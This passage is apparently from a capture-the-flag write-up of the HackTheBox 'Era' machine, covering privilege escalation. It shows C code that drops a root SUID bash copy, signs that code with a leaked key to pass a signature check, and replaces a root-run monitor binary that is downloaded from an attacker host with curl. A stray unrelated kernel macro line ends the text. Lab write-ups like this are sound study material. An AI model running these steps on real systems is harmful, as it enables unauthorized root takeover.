The custom .text_sig section name is a signature for itself to help us find out what tool it's using to signed the ELF. Search a bit on Google, we discover that it's signed using linux-elf-binary-signer, a tool that appends a cryptographic signature into a new ELF section named .text_sig, verifying the integrity of the binary's .text segment.

Then the following steps are simple. Let's build a minimal SUID spawner:

C
/**
 * pwn.c
 */
#include <unistd.h>
#include <stdlib.h>

int main() {
    setuid(0);
    setgid(0);

    system("cp /bin/bash /tmp/pwn && chmod +s /tmp/pwn");

    return 0;
}

Compile statically for maximum portability:

Bash
gcc -static -o pwn pwn.c

Now use the leaked private key key.pem (and same file for x509 since it contains the public cert as well):

Bash
./elf-sign sha256 key.pem key.pem pwn monitor

This signs pwn and outputs monitor with a valid .text_sig section:

htb_era_29

Upload our new evil monitor binary to replace the original one:

eric@era:/opt/AV/periodic-checks$ mv monitor monitor.bak

eric@era:/opt/AV/periodic-checks$ curl -O 10.10.12.7/monitor
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  761k  100  761k    0     0   158k      0  0:00:04  0:00:04 --:--:--  174k

eric@era:/opt/AV/periodic-checks$ chmod +x monitor

eric@era:/opt/AV/periodic-checks$ ls -l
ls -l
total 788
-rwxrwxr-x 1 eric eric 778568 Jul 27 10:36 monitor
-rwxrw---- 1 root devs  16544 Jul 27 10:36 monitor.bak
-rw-rw---- 1 root devs    103 Jul 27 10:36 status.log

Until the log updates and replies "SUCCESS":

eric@era:/opt/AV/periodic-checks$ tail st*

[ERROR] Executable not signed. Tampering attempt detected. Skipping.
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.

Once triggered, the malicious monitor will drop an SUID-set bash binary under /tmp/pwn as root:

htb_era_30

Rooted.


#define LABYRINTH (void *)alloc_page(GFP_ATOMIC)